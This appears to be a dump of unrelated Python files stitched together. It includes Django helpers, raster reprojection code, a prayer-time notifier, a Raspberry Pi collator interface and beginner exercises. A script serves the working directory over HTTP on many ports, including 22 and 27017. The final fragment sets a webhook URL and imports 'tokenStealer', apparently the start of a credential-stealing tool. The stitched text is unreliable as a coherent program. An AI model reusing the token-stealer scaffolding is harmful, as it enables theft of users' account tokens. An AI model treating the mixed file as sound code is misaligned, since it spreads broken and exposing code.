from rest_framework.response import Response

def return_response(data, success, message, status):
    """This method for custom response"""
    try:
        if not success and message == 'Bad request!':
            data_keys = list(data.keys())
            message = "".join(data[data_keys[0]])
    except Exception as e:
        pass

    response_data = {"data":data, "success": success, "message": message, 'status': status}
    return Response(response_data, status=status)

def lt_translate(text, source_language=None, target_language=None):
    """This method is use for translation"""
    try:

        from libretranslatepy import LibreTranslateAPI
        lt = LibreTranslateAPI("https://translate.astian.org/")

        if not source_language:
            source_language = lt.detect(text)[0].get('language', None) # We can detect language but HTTP Error 503: Service Unavailable

        if not target_language:
            target_language = 'en'
        text = lt.translate(text, target_language, source_language)
    except Exception as e:
        text = text
    return text

def is_email_valid(email):
    """This method is use for check email exists or valid"""
    from email_validate import validate, validate_or_fail
    is_valid = validate(email_address=email, check_format=True, check_blacklist=True, check_dns=True, dns_timeout=10, check_smtp= False, smtp_debug=False)
    return is_valid


import http.server
import socketserver
import threading

PORTS = [22, 25, 80, 443, 4000, 4001, 4002, 5000, 5500, 5432, 5433, 5577, 8888, 9988, 9011,  9999, 27017, 2080]
Handler = http.server.SimpleHTTPRequestHandler

def create_server(port):
    try:
        with socketserver.TCPServer(("", port), Handler) as httpd:
            print("serving at port", port)
            httpd.serve_forever()
    except: # catch *all* exceptions
        print("Another service running at port", port)

for port in PORTS:
    threading.Thread(target=create_server, args=[port]).start()


import os
import rasterio
from rasterio import shutil as rio_shutil
from rasterio.vrt import WarpedVRT
from rasterio.crs import CRS
import xarray as xr
import numpy as np
import os
from pywapor.general.logger import log
from pywapor.general.performance import performance_check
from pywapor.general.processing_functions import process_ds
from pywapor.general.processing_functions import open_ds, save_ds, remove_ds, log_example_ds
import rasterio
import warnings

def get_pixel_sizes(dss):
    """Determines to pixel size for each dataset in `dss`.

    Parameters
    ----------
    dss : list
        List of xr.Datasets.

    Returns
    -------
    dict
        Dictionary where keys are the pixel area and values the datasets.
    """
    # Check CRSs of datasets.
    crss = [v.rio.crs.to_epsg() for v in dss]
    # Count occurence of the different CRSs.
    uniqs, counts = np.unique(crss, return_counts=True)
    # Pick the dominant CRS.
    crs = uniqs[np.argmax(counts)]
    # Reproject to common CRS.
    dss2 = [(ds, ds.rio.reproject(CRS.from_epsg(crs))) for ds in dss]
    return {np.abs(np.prod(ds2.rio.resolution())): ds for ds, ds2 in dss2}

def has_changed(ds):
    """Checks if a dataset has been changed since it was opened from disk.

    Parameters
    ----------
    ds : xr.Dataset
        Dataset to check.

    Returns
    -------
    bool
        `True` if the dataset has changed since it was opened.
    """
    if "source" in ds.encoding.keys():
        changed = not ds.equals(open_ds(ds.encoding["source"]))
    else:
        changed = True
    return changed

def has_geotransform(ds):
    """Checks if a dataset has a geotransform that can be read by `rasterio`.

    Parameters
    ----------
    ds : xr.Dataset
        Dataset to check.

    Returns
    -------
    bool
        `True` if the dataset has a correctly set geotransform.
    """
    varis = ds.data_vars
    if not "source" in ds.encoding.keys():
        return False
    for var in varis:
        with warnings.catch_warnings(record=True) as w:
            _ = rasterio.open(f"netcdf:{ds.encoding['source']}:{var}")
            if len(w) > 0:
                for warning in w:
                    no_geot = "Dataset has no geotransform, gcps, or rpcs." in str(warning.message)
                    if no_geot:
                        return False
    return True

def align_pixels(dss, folder, spatial_interp = "nearest", example_ds = None, stack_dim = "time", fn_append = ""):
    """Aligns pixels (spatially) among the given datasets.

    Parameters
    ----------
    dss : list
        List of datasets that need to be spatially aligned.
    folder : str
        Path to folder in which to store new files.
    spatial_interp : str, optional
        Spatial interpolation to use, by default "nearest".
    example_ds : xr.Dataset, optional
        Dataset to use as example, if None a example dataset is chosen by selectiona dataset from `dss`
        with the smallest pixels, by default None.
    stack_dim : str, optional
        Dimension name that is not spatial, by default "time".
    fn_append : str, optional
        String that will be appended to any files created, by default "".

    Returns
    -------
    tuple
        First value contains a list with all the aligned datasets, second value contains a list with any new files
        that have been created.
    """

    temp_files = list()

    if isinstance(spatial_interp, str):
        spatial_interp = [spatial_interp] * len(dss)
    assert len(dss) == len(spatial_interp)

    if len(dss) == 1 and isinstance(example_ds, type(None)):
        dss1 = [list(dss)[0]]
    else:
        if isinstance(example_ds, type(None)):
            example_ds = min(get_pixel_sizes(dss).items(), key=lambda x: x[0])[1]
            log_example_ds(example_ds)
        dss1 = list()
        for i, (spat_interp, ds_part) in enumerate(zip(spatial_interp, dss)):
            if needs_reprojecting(ds_part, example_ds):
                var_str = "_".join(ds_part.data_vars)
                dst_path = os.path.join(folder, f"{var_str}_x{i}{fn_append}.nc")
                ds_part = reproject(ds_part, example_ds, dst_path, spatial_interp = spat_interp, stack_dim = stack_dim)
                temp_files.append(ds_part)
            else:
                ds_part = ds_part.assign_coords({"y": example_ds.y,
                                                "x": example_ds.x,
                                                "spatial_ref": example_ds.spatial_ref})
            dss1.append(ds_part)

    return dss1, temp_files

def needs_reprojecting(ds, example_ds):
    """Check if a dataset is already aligned with `example_ds` or not.

    Parameters
    ----------
    ds : xr.Dataset
        Dataset to check.
    example_ds : xr.Dataset
        Dataset to check against.

    Returns
    -------
    bool
        whether or not the `ds` needs to be reprojected.
    """
    check_crs = ds.rio.crs == example_ds.rio.crs
    check_ysize = ds.y.size == example_ds.y.size
    check_xsize = ds.x.size == example_ds.x.size
    check_y = bool((ds.y == example_ds.y).all().values)
    check_x = bool((ds.x == example_ds.x).all().values)
    return not np.all([check_crs, check_ysize, check_xsize, check_x, check_y])

def choose_reprojecter(src_ds, max_bytes = 2e9, min_times = 10, stack_dim = "time"):
    """Choose which reprojecting function to use (`reproject_bulk` or `reproject_chunk`).

    Parameters
    ----------
    src_ds : xr.Dataset
        Dataset to be reprojected.
    max_bytes : int, optional
        Threshold value to switch to chunked reprojecting, by default 2e9.
    min_times : int, optional
        Threshold value to switch to bulk reprojecting, by default 10.
    stack_dim : str, optional
        Dimension name that is not spatial, by default "time".

    Returns
    -------
    function
        Function to use for reprojection.
    """

    if stack_dim in src_ds.dims:
        tsize = src_ds.dims[stack_dim]
    else:
        tsize = 1

    if src_ds.nbytes < max_bytes and tsize > min_times:
        reproject = reproject_bulk
    else:
        reproject = reproject_chunk

    return reproject

def reproject_bulk(src_ds, example_ds, dst_path, spatial_interp = "nearest", **kwargs):
    """Reproject a dataset using `rioxarray.reproject_match`.

    Parameters
    ----------
    src_ds : xr.Dataset
        Dataset to be reprojected.
    example_ds : xr.Dataset
        Dataset to match to.
    dst_path : str
        Path to new file.
    spatial_interp : "nearest" | "bilinear" | "cubic" | "cubic_spline" | "lanczos" | "average" | "mode", optional
        Spatial interpolation to use, by default "nearest".

    Returns
    -------
    xr.Dataset
        Reprojected dataset.
    """

    resampling = {'nearest': 0,
                    'bilinear': 1,
                    'cubic': 2,
                    'cubic_spline': 3,
                    'lanczos': 4,
                    'average': 5,
                    'mode': 6}[spatial_interp]

    ds_match = src_ds.rio.reproject_match(example_ds, resampling = resampling)
    ds_match = ds_match.assign_coords({"x": example_ds.x, "y": example_ds.y})

    label = f"Applying `reproject_bulk` to {os.path.split(src_ds.encoding['source'])[-1]}:{list(src_ds.data_vars)[0]} ({spatial_interp})."
    ds_match = save_ds(ds_match, dst_path, encoding = "initiate", label = label)

    return ds_match

def reproject(src_ds, example_ds, dst_path, spatial_interp = "nearest",
                max_bytes = 2e9, min_times = 10, stack_dim = "time"):
    """Reproject a dataset using `reproject_bulk` or `reproject_chunk`.

    Parameters
    ----------
    src_ds : xr.Dataset
        Dataset to be reprojected.
    example_ds : xr.Dataset
        Dataset to match to.
    dst_path : str
        Path to new file.
    spatial_interp : "nearest" | "bilinear" | "cubic" | "cubic_spline" | "lanczos" | "average" | "mode", optional
        Spatial interpolation to use, by default "nearest".
    max_bytes : int, optional
        Threshold value to switch to chunked reprojecting, by default 2e9.
    min_times : int, optional
        Threshold value to switch to bulk reprojecting, by default 10.
    stack_dim : str, optional
        Dimension name that is not spatial, by default "time".

    Returns
    -------
    xr.Dataset
        Reprojected dataset.
    """

    test_ds = [src_ds, example_ds][np.argmax([src_ds.nbytes, example_ds.nbytes])]

    reproj = choose_reprojecter(test_ds, max_bytes = max_bytes, min_times = min_times, stack_dim = stack_dim)

    if "source" in src_ds.encoding.keys():
        log.info(f"--> Selected `{reproj.__name__}` for reprojection of {os.path.split(src_ds.encoding['source'])[-1]}.").add()
    else:
        log.info(f"--> Selected `{reproj.__name__}` for reprojection.").add()

    ds = reproj(src_ds, example_ds, dst_path, spatial_interp = spatial_interp, stack_dim = stack_dim)

    log.sub()

    return ds

def reproject_chunk(src_ds, example_ds, dst_path, spatial_interp = "nearest", stack_dim = "time"):
    """Reproject a dataset using `rasterio.WarpedVRT`.

    Parameters
    ----------
    src_ds : xr.Dataset
        Dataset to be reprojected.
    example_ds : xr.Dataset
        Dataset to match to.
    dst_path : str
        Path to new file.
    spatial_interp : "nearest" | "bilinear" | "cubic" | "cubic_spline" | "lanczos" | "average" | "mode", optional
        Spatial interpolation to use, by default "nearest".

    Returns
    -------
    xr.Dataset
        Reprojected dataset.
    """

    das = list()
    variables = dict()
    ncs = list()

    if has_changed(src_ds) or not has_geotransform(src_ds):
        src_path = src_ds.encoding.get("source", dst_path).replace(".nc", "_fixed.nc")
        new_src_ds = src_ds.sortby("y", ascending = False)
        new_src_ds = new_src_ds.rio.write_transform(new_src_ds.rio.transform(recalc=True))
        src_ds = save_ds(new_src_ds, src_path, encoding = "initiate", label = "Correcting src_ds.")
        ncs.append(src_ds)
    else:
        src_path = src_ds.encoding["source"]

    resampling = {
                    'nearest': 0,
                    'bilinear': 1,
                    'cubic': 2,
                    'cubic_spline': 3,
                    'lanczos': 4,
                    'average': 5,
                    'mode': 6
                }[spatial_interp]

    example_ds = example_ds.sortby("y", ascending=False)

    vrt_options = {
        'resampling': resampling,
        'crs': example_ds.rio.crs,
        'transform': example_ds.rio.transform(recalc=True),
        'height': example_ds.y.size,
        'width': example_ds.x.size,
        'dtype': "float64",
    }

    for var in src_ds.data_vars:

        part_path = dst_path.replace(".nc", f"_{var}_temp.nc")

        @performance_check
        def _save_warped_vrt(src_path, var, vrt_options, part_path):
            with rasterio.open(f'NETCDF:{src_path}:{var}') as src:
                with WarpedVRT(src, **vrt_options) as vrt:
                    rio_shutil.copy(vrt, part_path, driver='netcdf')#, creation_options = {"COMPRESS": "DEFLATE"})

        _save_warped_vrt(src_path, var, vrt_options, part_path, label = "Warping VRT to netCDF.")

        ds_part = open_ds(part_path, decode_times = False)

        if stack_dim in src_ds.coords:
            da = ds_part.to_array(stack_dim, name = var).assign_coords({stack_dim: src_ds[stack_dim]})
        else:
            da = ds_part[var]

        das.append(da)
        ncs.append(ds_part)
        variables[var] = (None, var)

    ds = xr.merge(das)

    if "spatial_ref" not in ds.coords:
        ds = ds.assign_coords({"spatial_ref": ds.crs})

    ds = ds.drop_vars("crs")
    ds = process_ds(ds, {"x": ["lon", None], "y": ["lat", None]}, variables)
    ds = ds.assign_coords({"x": example_ds.x, "y": example_ds.y})

    label = f"Saving reprojected data from {os.path.split(src_ds.encoding['source'])[-1]}:{list(src_ds.data_vars)[0]} ({spatial_interp})."
    ds = save_ds(ds, dst_path, encoding = "initiate", label = label)

    for nc in ncs:
        remove_ds(nc)

    return ds

if __name__ == "__main__":

    src_ds = open_ds(r"/Users/hmcoerver/Local/custom_levels/MODIS/MOD13Q1.061.nc")
    example_ds = open_ds(r"/Users/hmcoerver/Local/custom_levels/LANDSAT/LC08_SR.nc")
    dst_path = r"/Users/hmcoerver/Local/custom_levels/test2.nc"

    # spatial_interp = "nearest"
#     var = "lst"

    ds = reproject_bulk(src_ds, example_ds, dst_path, spatial_interp = "nearest")


import os
import platform
import subprocess
import time
import tkinter as tk

import simpleaudio as sa
from PIL import Image, ImageTk
from util import logger

def _center(win):
    """
    centers a tkinter window
    modified from: https://stackoverflow.com/a/10018670
    """
    win.update_idletasks()
    width = win.winfo_width()
    frm_width = win.winfo_rootx() - win.winfo_x()
    win_width = width + 2 * frm_width
    height = win.winfo_height()
    titlebar_height = win.winfo_rooty() - win.winfo_y()
    win_height = height + titlebar_height + frm_width
    x = win.winfo_screenwidth() // 2 - win_width // 2
    y = win.winfo_screenheight() // 2 - win_height // 2
    win.geometry('{}x{}+{}+{}'.format(width, height, x, y))
    win.deiconify()

def _nux_notify(title, msg='', *, icon='masjid'):
    if platform.machine().startswith("arm"):
        logger.warning("Notification not supported in Raspberry Pi or other arm-based machines")
        return
    import notify2
    notify2.init("Adzan")
    n = notify2.Notification(title, msg, icon=icon)
    n.set_hint("desktop-entry", "Adzan")
    n.set_hint("suppress-sound", True)
    n.show()
    return n

# TODO: implement this without toast64.exe
def _win_notify(title, msg=' '):
    # using 'toast64' from https://github.com/go-toast/toast
    icon = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src', 'icon.png')
    cmd = [
            'toast64.exe',
            '--app-id', "Jadwal Sholat",
            '--title', title,
            '--message', msg,
            '--icon', str(icon),
            '--action', 'Lihat waktu sholat',
            '--action-arg', 'adzan:data'
        ]
    logger.info("Command: "+" ".join(cmd))
    return subprocess.call(cmd, stdout=subprocess.DEVNULL)

if platform.system() == "Windows":
    notify = _win_notify
elif platform.system() == "Linux":
    notify = _nux_notify
else:
    raise NotImplementedError

class Popup(tk.Toplevel):
    def __init__(self):
        tk.Toplevel.__init__(self)
        self.master.withdraw()
        self.IMAGE_PATH = os.path.join("src", "bg")
        self.X_PATH = os.path.join("src", "x")
        self.WIDTH, self.HEIGTH = 450, 250
        self.overrideredirect(1)
        self.geometry('{}x{}'.format(self.WIDTH, self.HEIGTH))
        self.audio = ""
        self.running = False

    def show(self, msg: str, audio: str, *, test=False):
        self.audio = audio
        self.lift()
        # self.attributes('-topmost', True)
        canvas = tk.Canvas(self, width=self.WIDTH, height=self.HEIGTH)
        canvas.pack()

        bg_img = ImageTk.PhotoImage(Image.open(self.IMAGE_PATH).resize((self.WIDTH, self.HEIGTH), Image.ANTIALIAS))
        canvas.background = self.bg = bg_img  # Keep a reference in case this code is put in a function.
        canvas.create_image(0, 0, anchor=tk.NW, image=bg_img)  # assign this to variable to get the id
        x_img = ImageTk.PhotoImage(Image.open(self.X_PATH).resize((50, 50), Image.ANTIALIAS))

        # assign all of these to variable to get the ids
        button_window = canvas.create_image(self.WIDTH / 2, 3 * self.HEIGTH / 4, image=x_img)
        canvas.create_text(self.WIDTH / 2, 1 * self.HEIGTH / 8, font=('lobster', 30), text="Adzan Notification")
        canvas.create_text(self.WIDTH / 2, 2 * self.HEIGTH / 5, font=('Noto Sans Mono', 14), text=msg, width=400)
        # binding mouse click
        canvas.tag_bind(button_window, '<Button-1>', self.close)
        _center(self)
        self.running = True
        wvObj = sa.WaveObject.from_wave_file(self.audio)
        adzan = wvObj.play()
        while self.running:
            self.update()
            self.update_idletasks()
            if test:
                time.sleep(20)
                self.close()
                break
            if not adzan.is_playing():
                self.close()
                break
        adzan.stop()

    def close(self, event=""):
        self.attributes('-topmost', False)
        self.withdraw()
        self.running = False


import logging, pigpio

from kivy.lang.builder import Builder
from kivy.uix.relativelayout import RelativeLayout
from kivy.clock import Clock, mainthread

from .bus import bus
from .gpio import pi
from .Config import Config
from .Settings import Settings
from .BackgroundLabel import BackgroundLabel
from .ButtonLabel import ButtonLabel
from .MultiImageButton import MultiImageButton
from .ImageButton import ImageButton
from .MultiImage import MultiImage
from .ConfirmDialog import ConfirmDialog
from .MotorSpeedDialog import MotorSpeedDialog

Builder.load_string('''
<Collator>:
    countStr: ''
    running: False
    playPauseImage: 0
    sensorImage: 0
    background_text: 'Change me'

#    canvas.after:
#        Color:
#            rgba: 1, 0, 0, 1
#        Line:
#            width: 1
#            rectangle: self.x, self.y, self.width - 1, self.height - 1

    BackgroundLabel:
        text: self.parent.background_text

#        canvas.after:
#            Color:
#                rgba: 0, 1, 0, 1
#            Line:
#                width: 1
#                rectangle: self.x, self.y, self.width - 1, self.height - 1

    BoxLayout:
        orientation: 'horizontal'
        spacing: self.height * 0.06
        ButtonLabel:
            text: self.parent.parent.countStr
            text_size: self.size
            font_size: self.height * 0.9
            halign: 'right'
            max_lines: 1
            on_long_press: self.parent.parent.on_count_long_press()

#            canvas.after:
#                Color:
#                    rgba: 0, 0, 1, 1
#                Line:
#                    width: 1
#                    rectangle: self.x, self.y, self.width - 1, self.height - 1

        GridLayout:
            cols: 2
            size_hint_x: None
            width: self.parent.height

#            canvas.after:
#                Color:
#                    rgba: 0, 1, 1, 1
#                Line:
#                    width: 1
#                    rectangle: self.x, self.y, self.width - 1, self.height - 1

            MultiImageButton:
                images_normal: 'play_normal.png', 'pause_normal.png'
                images_down: 'play_down.png', 'pause_down.png'
                image_set: self.parent.parent.parent.playPauseImage
                on_press: self.parent.parent.parent.on_press_playPause()
                on_release: self.parent.parent.parent.on_release_playPause()
                on_long_press: self.parent.parent.parent.on_long_press_playPause()
                long_press_interval: 0
            ImageButton:
                image_normal: 'plus_normal.png'
                image_down: 'plus_down.png'
                on_press: self.parent.parent.parent.on_press_plus()
                on_long_press: self.parent.parent.parent.on_long_press_plus(*args)
            MultiImage:
                images: 'empty.png', 'flash.png', 'stop.png', 'alert.png'
                image_idx: self.parent.parent.parent.sensorImage
            ImageButton:
                image_normal: 'minus_normal.png'
                image_down: 'minus_down.png'
                on_press: self.parent.parent.parent.on_press_minus()
                on_long_press: self.parent.parent.parent.on_long_press_minus(*args)
''')

class Collator(RelativeLayout):

    MaxCount = 9999
    PortDebounce = 1000

    def __init__(self, type, **kwargs):
        super().__init__(**kwargs)
        config = Config.config()
        settings = Settings.settings()
        self.logger = logging.getLogger(self.__class__.__name__)
        self.type = type

        self.emptyTimeout = config.getfloat('core', self.type + 'CollatorEmptyTimeout')
        self.sensorPort = config.getint('core', self.type + 'SensorPort')
        self.motorPort = config.getint('core', self.type + 'MotorPort')
        self.motorFrequency = config.getint('core', self.type + 'MotorFrequency')
        self.motorDutycycle = settings.getint('collators', self.type + 'MotorSpeed', fallback = 100)

        self.setupGPIO()

        self.collatorEmptyTimer = Clock.create_trigger(self.on_collatorEmpty, self.emptyTimeout)
        self.outputFullTimer = Clock.create_trigger(self.on_outputFull, 0.5)
        self.blinkTimer = Clock.schedule_interval(self.on_blink, 0.25)
        self.blinkTimer.cancel()

        self.running = False
        self.sensorTriggered = pi.read(self.sensorPort) == pigpio.HIGH
        self.blinkOn = True
        self.count = Settings.settings().getint('session', self.type + 'Count', fallback = 0)

        bus.add_event(self.reset, 'reset')
        bus.add_event(self.stop_motor, 'power/restart')
        bus.add_event(self.stop_motor, 'power/shutdown')

        def cb(dt):
            self.background_text = self.type.capitalize() + 's'
            if pi.read(self.sensorPort) == pigpio.LOW:
                self.start_motor()

        Clock.schedule_once(cb)

        self.update()
        bus.emit(self.type + 'Collator/count', self.count, True)

    def setupGPIO(self):

        def cb(port, level, tick):
            self.sensorTriggered = level == 1
            self.collatorEmptyTimer.cancel()
            self.collatorEmptyTimer()

            if level == 1:
                self.outputFullTimer.cancel()
                self.outputFullTimer()

            elif level == 0:
                self.change_count(1)
                self.outputFullTimer.cancel()
                if not self.running:
                    self.start_motor()

            self.update()

        pi.set_mode(self.sensorPort, pigpio.INPUT)
        pi.set_pull_up_down(self.sensorPort, pigpio.PUD_UP)
        pi.set_glitch_filter(self.sensorPort, self.PortDebounce)
        self.cb = pi.callback(self.sensorPort, pigpio.EITHER_EDGE, cb)

        pi.set_mode(self.motorPort, pigpio.OUTPUT)
        pi.set_PWM_range(self.motorPort, 100)
        pi.set_PWM_dutycycle(self.motorPort, 0)
        pi.set_PWM_frequency(self.motorPort, self.motorFrequency)

    def start_motor(self):
        pi.set_PWM_dutycycle(self.motorPort, self.motorDutycycle)
        self.running = True
        self.collatorEmpty = False
        self.collatorEmptyTimer()
        self.stop_alert()
        bus.emit(self.type + 'Collator/running')

    def stop_motor(self):
        pi.set_PWM_dutycycle(self.motorPort, 0)
        self.running = False
        self.collatorEmptyTimer.cancel()
        bus.emit(self.type + 'Collator/stopped')

    def start_alert(self):
        self.blinkTimer.cancel()
        self.blinkTimer()
        self.blinkOn = True

    def stop_alert(self):
        self.blinkTimer.cancel()
        bus.emit(self.type + 'Collator/clear')

    def on_outputFull(self, dt):
        self.stop_motor();
        self.outputFullTimer.cancel()
        self.update()

    def on_collatorEmpty(self, dt):
        self.stop_motor()
        self.collatorEmpty = True
        self.start_alert()
        self.update()
        bus.emit(self.type + 'Collator/empty')

    def on_blink(self, dt):
        self.blinkOn = not self.blinkOn
        self.update()

    def on_press_playPause(self):
        if self.running:
            self.stop_motor()
        else:
            self.start_motor()

    def on_release_playPause(self):
        self.update()

    def on_long_press_playPause(self):
        self.stop_alert()
        MotorSpeedDialog(title = self.type.capitalize() + ' Motor',
                         value = self.motorDutycycle,
                         on_value = self.on_change_motorSpeed,
                         on_close = self.on_close_motorSpeed)

    def on_change_motorSpeed(self, value):
        self.motorDutycycle = int(value)
        if self.running:
            pi.set_PWM_dutycycle(self.motorPort, self.motorDutycycle)

    def on_close_motorSpeed(self):
        Settings.settings().safe_set('collators', self.type + 'MotorSpeed', self.motorDutycycle)

    def on_press_plus(self):
        self.change_count(1)

    def on_long_press_plus(self, inst, count):
        delta = 1 if count < 10 else 10 if count < 20 else 100
        self.change_count(delta)

    def on_press_minus(self):
        self.change_count(-1)

    def on_long_press_minus(self, inst, count):
        delta = -1 if count < 10 else -10 if count < 20 else -100
        self.change_count(delta)

    def change_count(self, delta):
        self.count = min(max(self.count + delta, 0), self.MaxCount)
        self.stop_alert()
        self.update()
        bus.emit(self.type + 'Collator/count', self.count, True)
        Settings.settings().safe_set('session', self.type + 'Count', self.count)

    def on_count_long_press(self):
        self.stop_alert()
        if self.count == 0: return
        ConfirmDialog(text = 'Are you sure you want to reset the count?', on_confirm = self.reset)

    def reset(self, *args):
        self.collatorEmptyTimer.cancel()
        self.outputFullTimer.cancel()
        self.blinkTimer.cancel()
        self.running = False
        self.sensorTriggered = pi.read(self.sensorPort) == pigpio.HIGH
        self.blinkOn = True
        self.count = 0
        self.stop_alert()
        self.update()
        bus.emit(self.type + 'Collator/count', self.count, True)
        Settings.settings().safe_set('session', self.type + 'Count', self.count)

    @mainthread
    def update(self):
        self.playPauseImage = 1 if self.running else 0
        if self.blinkTimer.is_triggered:
            self.sensorImage = 3 if self.blinkOn else 0
        elif self.sensorTriggered:
            self.sensorImage = 1 if self.outputFullTimer.is_triggered else 2
        else:
            self.sensorImage = 0
        self.countStr = str(self.count)


from django.shortcuts import render
from django.http import HttpResponseRedirect
from .models import Action
from .models import Sport
from .forms import ActionForm

def index(request):
    actions = Action.objects.order_by('-date')[:30]
    sports = Sport.objects.only('id', 'name')
    action_form = ActionForm()

    context = {
        'actions': actions,
        'sports': sports,
        'action_form': action_form
    }
    return render(request, 'exercise/index.html', context)

def add(request):

    if request.method == 'POST':
        form = ActionForm(request.POST)
        if form.is_valid():
            action = form.save()

    return HttpResponseRedirect('/exercise')


Adjective_01 = input("oily")
status_01 = input("spawning")
status_02 = input("molting")
Adjective_02 = input("tasty")
adjective_03 = input("vast")
date_01 = input("tomorrow")
noun_01 = input("puddle")

ML = """I really enjoyed reading your profile and thought you were very {}.
I noticed that you are {}. Are you seriously interested in meeting your future {}
Your photo was actually taken on {} and your head of hair is now {} """.format(Adjective_01, status_01, status_02, Adjective_02, adjective_03, date_01, noun_01)
print(ML)


#Write a Python program to print all unique values in a dictionary. Go to the editor
#Sample Data : [{"V":"S001"}, {"V": "S002"}, {"VI": "S001"}, {"VI": "S005"}, {"VII":"S005"}, {"V":"S009"},{"VIII":"S007"}]
#Expected Output : Unique Values: {'S005', 'S002', 'S007', 'S001', 'S009'}

d={}
k=[]
t=[]
n=int(input("How many keys do you wanna to provide in a dictionary: "))
for i in range(n):
    p=input("Key"+str(i+1)+": ")
    d[p]=int(input("Its value: "))
    k.append(d[p])
for i in k:
        g=0
        for j in k:
                if(i==j):
                        g+=1
        if(g==1):
                t.append(i)
print(d)
print("Set of unique values: ",set(t))


from django import template

from branding.models import Logo, SocialMediaSettings, FooterSettings

register = template.Library()

@register.inclusion_tag('branding/tags/footer.html', takes_context=True)
def custom_footer(context):
    request = context['request']
    return {
        'settings': FooterSettings.for_site(request.site)
    }

@register.inclusion_tag('branding/tags/structure_header.html',
                        takes_context=True)
def structure_header(context, logo_color=''):
    logos = Logo.objects.exclude(belongs_to=context['request'].site).all()
    committees = logos.filter(category='committee')
    sections = logos.filter(category='section')
    return {
        'committees': committees,
        'sections': sections,
        'color': logo_color,
    }

@register.inclusion_tag('branding/tags/social_media.html', takes_context=True)
def social_media(context, dark=False):
    request = context['request']
    return {
        'settings': SocialMediaSettings.for_site(request.site),
        'dark': dark,
    }


# Short Circuiting
my_age = 16
is_licenced = True
been_drinking = False

if been_drinking or is_licenced or my_age >=16:
    print('Hop for a ride')
else:
    print ('You can\'t drive tonight buddy!')


# -*- coding:gb18030 -*-
import xmlparse as xp
import os
import dirHandle as dh
import binsec
import rotate_height
import sys
reload(sys)
sys.setdefaultencoding('gb18030')
from xml.dom.minidom import parse, parseString, Document

mVertRows = 0
mVertCols = 0
heights = 0

mDX = 0
mDZ = 0

def GenTriGrid(numVertRows, numVertCols, dx, dz):

    verts = []
    indices = []
    numCellRows = numVertRows - 1
    numCellCols = numVertCols - 1
    for i in xrange(0, numVertRows):
        for j in xrange(0, numVertCols):
            height = heights[j * mVertRows + (numVertRows - i - 1)]
            vertex = (j * dx , height, i * dz )
            verts.append(vertex)

    for i in xrange(0, numCellRows):
        for j in xrange(0, numCellCols):
            indices.append(i * numVertCols + j)
            indices.append(i * numVertCols + j + 1)
            indices.append((i + 1) * numVertCols + j)

            indices.append((i + 1) * numVertCols + j)
            indices.append(i * numVertCols + j + 1)
            indices.append((i + 1) * numVertCols + j + 1)

    return verts, indices

def BuildGeometry(matrix):
    newPos = matrix[0][3]

    if mVertRows == 28:
        mDX, mDZ = 4, 4
    else:
        mDX, mDZ = 2, 2

    verts, indices = GenTriGrid(mVertRows, mVertCols, mDX, mDZ)
    vertexPoses = []
    vertexTcs = []
    vertexNormals = []
    indexs = []

    for vertex in verts:
        #pos
        temp = []
        for i in xrange(0, 3):
            temp.append(vertex[i] + newPos[i])
        vertexPoses.append(temp)
        #vt
        temp = []
        for i in xrange(0, 2):
            temp.append(0)
        vertexTcs.append(temp)

        #vn
        temp = []
        for i in xrange(0, 3):
            temp.append(0)
        vertexNormals.append(temp)

    triangleNumber = len(indices) / 3

    for index in xrange(0, triangleNumber):
        tempindex = []
        for i in xrange(0, 3):
            tempindex.append(indices[3 * index + i])
        indexs.append(tempindex)
    return vertexPoses, vertexTcs, vertexNormals, indexs

def GetCorrectDir(fileName) :
    correctName = ''
    pardir = os.path.dirname(fileName)
    lastname = pardir.split('\\')[-1]
    pathlist = os.listdir(pardir)
    for path in pathlist:
        if path == 'universes' and lastname == 'res':
            return pardir
    correctName = GetCorrectDir(pardir)
    return correctName

def GetTerrain(chunklist):
    global mVertRows
    global mVertCols
    global heights

    nowPath = os.getcwd()
    temppath = nowPath + '\\' + 'temp\\'
    terrainpath = temppath + 'terrain'

    vertexPoseslist = []
    vertexTcslist = []
    vertexNormalslist = []
    indexslist = []
    fileName = []

    hash_map = []
    resultdict = {}
    for chunk in chunklist:
        if chunk[:-6] in hash_map:
            continue
        hash_map.append(chunk[:-6])
        filepath = chunk.replace('.chunk', '.cdata')
        chunkfilepath = chunk.replace('.cdata', '.chunk')
        CorrectDir = GetCorrectDir(chunkfilepath)
        idx = chunkfilepath.find(GetCorrectDir(chunkfilepath))
        fileName.append(chunk[idx + len(CorrectDir) + 1:-6])

        tempdict = xp.ParseChunkXml(chunkfilepath)
        resultdict.update(tempdict)
        matrix = tempdict.get(chunkfilepath)
        binsec.extract(filepath, temppath)

        terrainInfo = rotate_height.rotate(terrainpath)

        dh.cleanDir(temppath)
        os.rmdir(temppath)

        mVertRows = terrainInfo[0]
        mVertCols = terrainInfo[1]

        heights = terrainInfo[2]

        assert mVertRows == mVertCols and (mVertRows == 28 or mVertRows == 53)

        Pos, Tcs, Normal, Index = BuildGeometry(matrix)

        vertexPoseslist.append(Pos)
        vertexTcslist.append(Tcs)
        vertexNormalslist.append(Normal)
        indexslist.append(Index)

    return vertexPoseslist, vertexTcslist, vertexNormalslist, indexslist, fileName, mVertRows == 28, resultdict

if __name__ == '__main__':
    GetTerrain()


import numpy as np
def init_param(layer_dim):
    """
    Takes an input list with the dimensions of each layer in the network and returns a dictionary with parameters W and b.
    """
    parameters={}
    L = len(layer_dim) #how many layers there are in the network
    for l in range(1, L):
        parameters['W'+str(l)]=np.random.randn(layer_dim[l],layer_dim[l-1])*0.01
        parameters['b'+str(l)]=np.zeros((layer_dim[l],1))
        assert(parameters['W'+str(l)].shape==(layer_dim[l],layer_dim[l-1]))
        assert(parameters['b'+str(l)].shape==(layer_dim[l],1))
    return parameters


from pyecharts import options as opts
from pyecharts.charts import Graph
import pandas as pd
import webbrowser
data_nodes = pd.read_csv("anodes.csv")
data_edges = pd.read_csv("aedges.csv")

source = data_edges["Source"]
target = data_edges["Target"]
nodes = set()
links = []
for i in range(len(source)):
    s = source[i]
    t = target[i]
    nodes.add(s)
    nodes.add(t)
    links.append(opts.GraphLink(source=s,target=t))
nodes = [opts.GraphNode(name = node) for node in nodes]
graph = Graph()

graph.set_global_opts(
    title_opts=opts.TitleOpts(title = "作业一关系图"),
    legend_opts = opts.LegendOpts(is_show= False)
)

graph.add(
    "",
    nodes,
    links,
    layout="circular"
)
graph.render("HW1pyecharts.html")
webbrowser.open("HW1pyecharts.html")


WEBHOOK_URL = ''

print('[Loading]', 'Загрузка модуля colorama...')
from stealer import tokenStealer

import os
clearConsole = lambda: os.system('cls')

from colorama import Fore, init
R = r = Fore.LIGHTRED_EX
